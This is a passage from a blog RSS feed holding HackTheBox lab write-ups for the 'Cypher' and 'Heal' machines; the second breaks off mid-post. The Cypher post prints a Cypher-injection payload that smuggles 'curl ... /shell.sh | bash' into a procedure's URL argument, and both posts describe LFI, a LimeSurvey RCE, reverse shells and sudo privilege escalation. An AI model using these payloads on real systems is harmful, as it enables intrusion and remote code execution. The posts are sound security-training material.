Labs<br>1. </strong><a href="https://portswigger.net/web-security/api-testing"><strong>API testing</strong></a>: Realistic scenarios for REST API vulnerabilities (auth, injection, BOLA, etc).<br><strong>2. </strong><a href="https://portswigger.net/web-security/graphql"><strong>GraphQL API vulnerabilities</strong></a>: Deep dive into GraphQL-specific vulnerabilities with guided exercises.</li></ul><h4>3. Awesome API Testing Links &amp; Cheatsheets</h4><ul><li><a href="https://github.com/arainho/awesome-api-security"><strong>Awesome API Security</strong></a> — curated links to tools, labs, articles, and cheatsheets for API testing.</li><li><a href="https://github.com/xaferima/API-Pentesting-Checklist"><strong>API Hacking Checklist</strong></a><strong> — </strong>often included in books like <em>Hacking APIs</em> and <em>Black Hat GraphQL</em>: step-by-step guidance for recon, injection testing, DoS simulations, auth bypass, and more.</li><li><a href="https://infosecwriteups.com/all?topic=api"><strong>API BugBounty Writeup</strong></a><strong> — </strong>curated links of real life findings by the awesome bug hunting community.</li></ul><p>With these resources, you’ll have a solid foundation in both theory and practice — perfect for deepening your knowledge in API testing.</p><h3>🚀 Conclusion</h3><p>APIs are powerful, but they are also prime targets. Whether you’re working with REST or GraphQL, understanding common vulnerabilities and using the right tools can help you build more secure applications. Combine this knowledge with hands-on practice, and you’ll be well on your way to becoming proficient in API security.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3c23c364467b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox-Cypher(WriteUp)]]></title>
            <link>https://medium.com/@aniketdas07770/hackthebox-cypher-writeup-34038da31222?source=rss-3f1e1face53------2</link>
            <guid isPermaLink="false">https://medium.com/p/34038da31222</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[neo4j]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Aniket Das]]></dc:creator>
            <pubDate>Sat, 26 Jul 2025 20:38:47 GMT</pubDate>
            <atom:updated>2025-07-26T20:38:47.150Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey! Welcome back guys after months again. Been busy skilling up myself. So, another one from HackTheBox. New concepts, new methodology, new tools, new insights, new breakthroughs. So, let’s go.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*Nd19ytQP8jiUKqBmmmHY_w.png" /></figure><ul><li><strong>Note:</strong> I’ll be showing the answers on top and it’s explanation just below it and as always won’t let you copy paste. See, understand, type yourself and really learn.</li></ul><h3>Enumeration</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/370/1*1uvLYHFpX_qqtjNR696lbw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/501/1*OwckYl-3jTnNeCkG7j6eHg.png" /></figure><p>Let’s get the host added.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*XEoP92frlwmiqXzJuERj1g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8tXhQGZRrBkQ3IPhpITvLw.png" /></figure><p>As always just the two regular ports.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t4YV0_IMvb4-fK1PIA7_2w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*AXpvsWU_7xtcR9icXUP44w.png" /></figure><p>Nothing special but the webpage does look cool.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZO4M8gIJRxpGQv_C29zn4w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*12x7546T80LRaPkSAI8qYw.png" /></figure><p>Ok! The source code got something. Probably ‘neo4j’ in backend as database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BkrF99O3VJYirIr7iGOUIg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-Tr_YPkkdBE9cBc-tqu7bw.png" /></figure><p>So, got something during fuzzing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YBlxv4tD60nNEhJpvLv9iA.png" /></figure><p>So, let’s get the jar file downloaded. Might reveal some backend source code. Let’s decompile.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*dM2edWggahq15Y3eQes8dQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*_UXWyL3ade-i0qYjvVE_Lw.png" /></figure><p>Import the jar file inside the jd-gui utility.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*dWVevgwIhajWHw4oJ6RHVw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-_7Eh7bWFIBnbKaTfsfxrg.png" /></figure><p>Ok! So, we might probably won’t be able to find any public documented exploit as is custom written. So, need to go through source code manually.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I3OfT3QDpOTv5HhHw2nBHg.png" /></figure><p>Ok! A possible RCE as no sanitation in place. This might be required ahead. Let’s enumerate further.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*iBmEJwpcMXFLN9W-E_4x0w.png" /></figure><p>Notified by GPT as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yp6QdSQhS9BzxI2cuzz2ZA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OEIZEFTUCC6rJ9h6GG8qYg.png" /></figure><p>Ok! So, an API call. Before going through manual API testing, let’s look for any public documented exploit for the given neo4j database version in pom.xml configuration file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*NwJ9rRf-1VKE0tSx0uDglA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dyhWCdUXxgPFDlxB1EW2xw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zmsnvO6GHM0K1LDLDoGoEA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yfdN2P8bczcmgbhMgL0-1g.png" /></figure><p>Luckily found something interesting <a href="https://exploit-notes.hdks.org/exploit/database/neo4j-pentesting/">here</a>. First time came across Neo4j database cypher injection. So, got something new to learn. Something similar to SQL injections. Let’s try to inject.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*amB9_yKEAEoocdCvfAcaXA.png" /></figure><p>So, let’s go through the blog and follow up the payloads and indeed was able to get a cypher syntax error. Let’s try to resolve the error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R00WgGNWrWheMjQumQjaKQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FguXpeUGMlR_POJ7e4abXw.png" /></figure><p>So, we are able to escape out of it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/977/1*h7F77c171uKvgDlY_FJr1w.png" /></figure><p>So, from the site, got <a href="https://pentester.land/blog/cypher-injection-cheatsheet/#authentication-bypass">link</a> to another cypher payloads cheatsheet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*5NxYHxvkavHH4axzy0vCbg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nYecstxwkjvYXdDDt7lddg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*7jvS9iNHhk2GZlBhGe238w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SIVri3Ud5wxL2J6N1LXRsQ.png" /></figure><p>So, it indeed tried to call it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QeUBEBTbZ0X1k8NI57gETQ.png" /></figure><p>So, we found a procedure previously when we decompiled the jar file which accepts URL as argument during the call. Let’s try it out on our hosted test server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3pBrzvL4BeAMZoBs2K-Uvg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4ZJJ-aw6l83xEW6Zu1cBdw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7qN3XqjrvB5C-xl1bc0uKQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zWpumKBOyeaCSChM3NLGbw.png" /></figure><p>Tried but didn’t work. Got an error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J2U0JlGYDqC3SAnU82Mnhg.png" /></figure><p>So, what we remember back from the source that what it’s returning is the ‘statusCode’ variable content. So, tried to replace it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LPYqyVL0RcVNht5vIf0dMA.png" /></figure><p>The error got fixed but was not doing what we wanted it to i.e. no call on our server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*EYgHydTDXmW-F_PAtrmoBA.png" /></figure><p>So, back onto the cheatsheet, followed up the payload. Let’s try to utilize it to craft our required payload. So, there are two return statements. So, let’s try to craft the same.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N64sx_zSJwa87zrcDVQQWg.png" /></figure><p>Ok! So, this error was again a new one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nnALQb7CW__omm0P6ch6Kg.png" /></figure><p>Okay the fix was just to use the same name ‘hash’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rbwm9aEw0NHVEkMA5Ipk0A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j1KZGDuQP5_rWQMtG7n3dg.png" /></figure><p>Again the error was fixed but luckily there was indeed a request this time on our server.</p><p>So, now time to escape out of it and perform a RCE which we previously found during source code review on the custom procedure defined.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iHMOGxM25_T93siZ88ezag.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NTYeOxFjQnTiMQ0qt3K30w.png" /></figure><p>So, RCE works exactly the way we expected. Time to get the shell.</p><h3>Initial Foothold</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*5s6xAZuz69Eu5YbihfDzSg.png" /></figure><pre>admin&#39; RETURN h.value AS hash UNION CALL custom.getUrlStatusCode(&#39;http://blabla/test;curl http://tun0IP:Port/shell.sh | bash; #&#39;) YIELD statusCode AS hash RETURN hash //</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lrhu-4TT9V_XakdAcFFOKA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*HehMCreyZV72DiXcjSDxIA.png" /></figure><p>So, captured the shell successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*rdPB5IKP3lpf-R_xsPw_Iw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DE5_J_5My7yQivGXd0of1g.png" /></figure><p>So, need to pivot to ‘graphasm’ user first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g7ho5m_SnsA5ulqr5w3p3w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gSX8iy4-_eFNXl824pNa-Q.png" /></figure><p>So, tried on ‘graphasm’ and did work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*z_A7tfd__UUrU7srIfGCtw.png" /></figure><p>So, done with the first flag. Now onto the next one.</p><h3>Privilege Escalation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yHgtxv7qEt2oIRg2ECq--g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5AgAy4ecl7fHZ0QFexEp6Q.png" /></figure><p>Let’s research on it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*CF4Sn1TM560TDupVjo8Cig.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Eju3BFwl08v9eZNIaMfEYQ.png" /></figure><p>Ok! <a href="https://github.com/blacklanternsecurity/bbot">That’s</a> exactly the one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Un8-B7IbrHAuE-NoBOUi5A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*srHycrLhW5jQl-f8mF_Heg.png" /></figure><p>Ok! So, there’s an official <a href="https://www.blacklanternsecurity.com/bbot/Stable/">website</a> as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*Q35P0OHY6lCAMtKSaIZuAQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V53LVheGeJsgcpFqjmFYmg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F2EvKLkIUR-fls6I7yokzQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*8_PuoeqTL8rUsGDZtGt3yg.png" /></figure><p>So, couldn’t find any sort of public security issues which might could lead to escalation somehow.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_bVIZfLK1XutadSIcpWYmQ.png" /></figure><p>So, exploring the documentation got something interesting about writing custom modules.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o4_15uur0ttkSHgxTWJ4gw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tb1px0-BjirgzA0rS_uhjw.png" /></figure><p>We just got lucky. Got an example script as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cb6_KGsOgzA7VlFwfcc1Ag.png" /></figure><p>So, what if we write a malicious code execution module and try to call ‘bbot’ with sudo privileges?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*QrbA7zkJnRyR1pnB1dQ2yg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W-IC9wdT6wJ-aqLAHu2yzA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5VCinM6U-JQZhinVz96Ugg.png" /></figure><p>But unfortunately we don’t have write privileges in this ‘bbot’ modules directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*giHVqSb4TKLNzDdFCGxjSA.png" /></figure><p>On the same page at the end found something interesting which might could come handy to allow us to use custom modules from any desired location of our choice. But then how to call the custom ‘.yml’ file then? Probably with an option in the ‘bbot’ utility maybe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*322gdfBzEUnPE_-1mpkL3A.png" /></figure><p>So, enumerating the documentation, found it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mnC2PXdjaGjshC9zu9CpEw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D5nIU5iwLXnRK2Fl-I34dg.png" /></figure><p>Let’s add malicious code to it and craft out custom ‘.yml’ config file as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*1HxFHDvM-pyIAJ-Oqh2qdA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*9JeeDBhLlpxMyHumnG8oUQ.png" /></figure><p>So, now finally to call the ‘bbot’ utility with this custom config file and a tampered custom module ‘whois’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MTFMqsGfsvgo0GGW2edhiQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/993/1*tkHYsEHVAyHm6uOIjoCAvw.png" /></figure><p>And there you go. So, hopefully that’s was not very much exhausting if you’ve made till here. Atleast you enjoyed right?</p><p>So, follow me up on the next one. Until then, Peace.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=34038da31222" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox-Heal(WriteUp)]]></title>
            <link>https://medium.com/@aniketdas07770/hackthebox-heal-writeup-9ebfdcd85adf?source=rss-3f1e1face53------2</link>
            <guid isPermaLink="false">https://medium.com/p/9ebfdcd85adf</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[information-technology]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Aniket Das]]></dc:creator>
            <pubDate>Sun, 18 May 2025 03:24:10 GMT</pubDate>
            <atom:updated>2025-05-18T03:24:10.528Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey! Welcome back guys after very very very long. Been busy with some office work. Time to get back onto the track again. Let’s skill up. So, another one from HackTheBox. Hope you’ll enjoy this one too. Let’s go.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/470/1*jQG6oeAEzFwheh1YMQWWiA.png" /></figure><ul><li><strong>Note:</strong> I’ll be showing the answers on top and it’s explanation just below it and as always won’t let you copy paste. See, understand, type yourself and really learn.</li></ul><h3>Enumeration</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*P1ZVbU1XPki_McRYggiQUg.png" /></figure><p>Nothing special. As always ports 22 and 80.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/449/1*ud9rfh6wUDLXHFBXtVtx0A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/321/1*PtGIjAU1feKKD8--FxI2Rw.png" /></figure><p>Let’s get this added to the hosts file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*WJ5kSWfhmPqSJIA6aOhCpg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/505/1*GeigKxZAfVwXHiZ1-BgTGA.png" /></figure><p>A basic page with Node.js in backend.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/461/1*uks6gEG1UPpjJ45MN8gbKA.png" /></figure><p>Let’s leverage the account registration option and enumerate the internal logged in portal features.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/619/1*tAVipO2sjV3X4rXAOw5Big.png" /></figure><p>Let’s get a test account onboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*H2S9FRnb7_coNT-THx71gQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*LJwfAON0rfORX3TfKaG_vQ.png" /></figure><p>Ok! On the survey page located another subdomain while hovering over ‘TAKE THE SURVEY’ button. Time to get it added as well to the hosts file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*SKXGhB9EOpbj2Be1KfzOqQ.png" /></figure><p>So, clicking on it got redirected to these questions. Time to enumerate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*uYsavFhVmxgpGudOC4kmTA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*LmiXSwouHhtudk9ii0HUxw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/433/1*J79JtIjcMdQ_079JvWfLkA.png" /></figure><p>Going to the home page found something interesting. So, ‘ralph’ a possible user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*cvw0t9VcESbQAWu_qUtCZw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*X6uv5SUql5rZBlflA8Ee3w.png" /></figure><p>Ok! Located some more pages.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*eQrZdoumaJFdRE0xRp2K6w.png" /></figure><p>Nothing here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/501/1*wkoI2ybjvTgCo-nZufALNg.png" /></figure><p>Okay!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*wSnno1vZch0oKz8rrchasg.png" /></figure><p>But the ‘/admin’ page seems interesting. While enumerating in parallel I just went on bruteforcing for ralph’s password. But unfortunately couldn’t hit on one and thought that’s just a rabbithole or the wordlist I chose was not up to the mark.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*ix85Qy5o1V7ppc9LbXXyzg.png" /></figure><p>So, while doing subdomain fuzzing, guess what got another one. So, time to get it added as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/705/1*AYp1jeR_tvpidLRgYuINyQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/1*ZV7XbPs-yNw9KW7pVDtM4Q.png" /></figure><p>Interestingly got the version as well at the bottom. Started looking for any possible exploits but no luck so far.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*JV2wPZv8G-EcWrOlmC7ORA.png" /></figure><p>Let’s enumerate the resume builder site again. Time to log back in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*bA7m4hhehoGU288i7ei_gg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*ANf1QQ2_wzRg91k_egl93Q.png" /></figure><p>Interestingly an exporter button was present at the end. So, started testing it out to look for possible RCE.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/442/1*tosmV8hJWFdpnk5gMPlD8A.png" /></figure><p>So, the file was actually getting downloaded. Started exploring on BurpSuite.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*mpH2giLK9Xoo4o7n1xxYOg.png" /></figure><p>After the exports call, it redirected to download. And observe it gets downloaded via that ‘api’ subdomain. So, that’s the purpose of Ruby on Rails there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*96NKe-M3q_2jsaP5FG0OaA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*Xouz-UHa8n70DOZUjcUwAw.png" /></figure><p>So, first it checks for the available methods and then, eventually downloads it via GET method. Eventually got hit with an idea to try out LFI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*418ekGfHSF8SddTofrKJww.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*K5qPrr2TnhJEywS2TFBgzQ.png" /></figure><p>So, intercepted and tried accessing the ‘passwd’ file and guess what it was a hit this time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*hI7RAxHoHvPucBmoRN_7hA.png" /></figure><p>Ok! Got some usernames. Possibly we are ‘www-data’. Tried to access ralph’s and ron’s private SSH key using LFI but ofcourse couldn’t succeed. Time to think what else can be done using this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/635/1*legNiodjkgx_h6WI678Hxg.png" /></figure><p>Remember that’s a Ruby on Rails application. So, my common approach in case of LFI is generally to get the directory structure, which might allow us to dump credentials or configurations somehow.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*JEqH8ReYobdcjHPsgnR3ig.png" /></figure><p>Time to research. So, got a possible <a href="https://medium.com/@aschittone/understanding-your-rails-directory-81b84b5d65a">blog</a> link to it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/381/1*-bnybvyfysb8zb9nDTuiGw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*-LO6sFrmEXX9rEPGB2YG-w.png" /></figure><p>So, it seems like we’re somewhere around this ‘app’ directory which might could be the webroot path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/303/1*s2Iocv700t3DqNSx4nyUTQ.png" /></figure><p>This ‘config’ directory looks quite promising. So, we might need to traverse twice backwards to get out of ‘download’ page first and finally from ‘app’ to access the ‘config’ directory in the webserver path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/298/1*Czw8pEbBm0YmUEK60Z8nxQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*woQWlBr62MbBBf3KsiYxLA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*g1ZI3fHWxPGKFZiQt1l2pg.png" /></figure><p>Ok! It works perfect. So, it follows the default directory structure. Production key looks interesting. Let’s try to see what is inside.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*NdX9mdh_egOuLAUMQNlCLw.png" /></figure><p>Ok! No such file found. Let’s check out other marked files from the default directory structure diagram above.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*NVjpKRjoaeG2j-yngjROvg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*G00uT9zySJRFPdudu-AcAw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*6SCh4Ex9EeL57hTR8Hw91Q.png" /></figure><p>Ok! This file too doesn’t seem promising. Nothing interesting here as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/301/1*jaC5RW50urG1IGoC7aVjww.png" /></figure><p>Let’s try out this one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*dTfEaS_pCjF5W7nJU-_oCQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*kTxRnXs82c6Jo6kicAVo6Q.png" /></figure><p>Ok! That’s interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*Ez1ckgdbMuonnp8XjgPnvA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*GXjn8eaK8d8qQ-rOMR7S3Q.png" /></figure><p>Ok! Now we know where things are heading. And there we go. Time to identify hash type and crack it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*GeJs5LD8DIKcMKN1jfDXEQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*qdbhxciUy30hS390h7lFIg.png" /></figure><p>Cracked in seconds. So, it doesn’t work on SSH. Now remember the admin panel on LimeSurvey.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*ky4sx1P-LUGFJC6kdEF0_Q.png" /></figure><p>This might could be the point to carry on further.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*ebb_mgAzAXnH4CEiJhYZBg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*Sn4ozuOptx7YrNA99b6tAQ.png" /></figure><p>And there you go. It works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*LH_3UQnBrKHLqagc8-P3pg.png" /></figure><p>At the bottom of the page got the version.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/598/1*N4w7aNCwPEYY1RSd-vKWjA.png" /></figure><p>Let’s follow the <a href="https://ine.com/blog/cve-2021-44967-limesurvey-rce">blog</a> link.</p><h3>Initial Foothold</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*NwVWk8RbSlFRZHkbWcICfA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/1*MOQvZ1L2ab6kiv-ylAlsMA.png" /></figure><p>So, in the blog post got a reference to the Github <a href="https://github.com/Y1LD1R1M-1337/Limesurvey-RCE">repo</a> for the PoC script. Let’s follow along.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*AswxgkX_3nBvS4YNdL863A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*LlkRsq0vEEzG5CXbL2wXfg.png" /></figure><p>Let’s do changes in PHP exploit script to point to our tun0 interface IP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*UYE9A-f8uCSy95p9ad26Bw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*JEawVD48VWRHDTLdMM9xEw.png" /></figure><p>Now let’s try to zip it up and upload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*26-esgxvTraTDh4kIT0WgA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*UQ6iv69XE6_lM4nA1eibqA.png" /></figure><p>Ok! That was pretty unexpected. Got a version error on upload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yD7FAa5Njd4J84VBYT1KZw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*XkcbTa80FgwKRs3TKgi3aQ.png" /></figure><p>Enumerating the ‘config.xml’ file in the PoC found it was written for previous versions. So, got added the current version as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*Zrp9NHuyokCOAIxeEIBCVw.png" /></figure><p>Let’s zip and try again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*2-xXyUaDbgRMt0tXLED66Q.png" /></figure><p>There you go. Got uploaded successfully. Let’s click on install.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*Fk0QDpPgorvMfTTZmCeFcg.png" /></figure><p>Now look for it in list and get the id by hovering over it to follow along the blog post and do necessary changes in the ‘exploit.py’ script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*MX2HaUTZD0KJrx3p3n2s9g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*drMFDIFBf5oj7Dc9vc_G-w.png" /></figure><p>Finally after changes let’s start the netcat listener and run it with required arguments.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*cAzd5Yo_SJZtuuoYFgE5Jg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*MPtOuckUyuarTuaQsYpdzw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*AHYtm7cVJ0jBXViqs5HOhg.png" /></figure><p>And after a while a shell pops up. Let’s enumerate to get credentials for either ‘ralph’ or ‘ron’ users.</p><figure><img alt="" 